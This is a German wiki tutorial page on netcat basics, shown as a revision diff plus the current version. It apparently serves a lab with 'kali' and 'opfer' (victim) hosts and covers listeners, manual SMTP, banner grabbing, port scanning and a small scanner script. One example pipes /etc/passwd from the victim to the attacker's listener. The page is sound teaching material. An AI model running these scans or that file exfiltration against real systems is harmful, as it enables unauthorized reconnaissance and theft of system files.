Netcat Basics: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 40: Zeile 40:
  
 
<pre>
 
<pre>
nc mail.tcpdump.de 25
+
nc -C mail.tcpdump.de 25
 
</pre>
 
</pre>
  
Zeile 64: Zeile 64:
 
<pre>
 
<pre>
 
# Webserver (HTTP/1.0, kein Host-Header nötig)
 
# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer 80 | grep -i '^Server'
+
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
 +
# -> Server: Apache/2.4.29 (Ubuntu)
 +
oder
 +
echo -e  'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
 
# -> Server: Apache/2.4.29 (Ubuntu)
 
# -> Server: Apache/2.4.29 (Ubuntu)
  
Zeile 70: Zeile 73:
 
nc opfer 22 | head -1
 
nc opfer 22 | head -1
 
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
 
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
 +
 +
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22                 
 +
 +
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
 +
4�.:�
 +
    *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C
 +
 
</pre>
 
</pre>
  

Aktuelle Version vom 16. Juni 2026, 08:25 Uhr

netcat (nc) – Basics

netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.

Hinweis zur Variante
Beispiele hier mit nc.traditional (-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nur nc -l 6789 – dort ist -p der Quellport. -z/-w gibt es bei OpenBSD-nc, nicht bei ncat.

Listener prüfen

# auf kali: lauschen
nc -l -p 6789

# auf kali: läuft der Listener?
ss -lntp | grep 6789

Chat

# lokal (zwei Terminals auf kali)
nc -l -p 6789          # Server
nc kali 6789           # Client

# übers Netz
nc -l -p 6789          # auf kali
nc kali 6789           # auf opfer

Filetransfer

nc -l -p 6789 > /tmp/passwd          # auf kali (Empfänger)
cat /etc/passwd | nc kali 6789       # auf opfer (Sender)

Mailserver verbinden

SMTP von Hand sprechen:

nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu)
ehlo kit.de
250 ...
mail from: kit13@kit.de
250 2.1.0 Ok
rcpt to: thomas@xinux.de
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject: testmail vom kit
(Leerzeile)
Hallo Thomas, Gruss vom Kit
.
250 2.0.0 Ok: queued
quit
221 2.0.0 Bye

Bannergrabbing

# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
oder 
echo -e  'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)

# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4

echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22                   

SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
     *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C

Portscan

# einzelner Port: Exit-Code 0 = offen, 1 = zu
nc -w 1 -z opfer 9999 ; echo $?

# Bereich, verbose
nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open
opfer [10.0.10.104] 25 (smtp) open
opfer [10.0.10.104] 22 (ssh) open

Eigener Scanner

#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
    if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
        echo "$HOST $i open"
    fi
done
./scan opfer 20 100

Siehe auch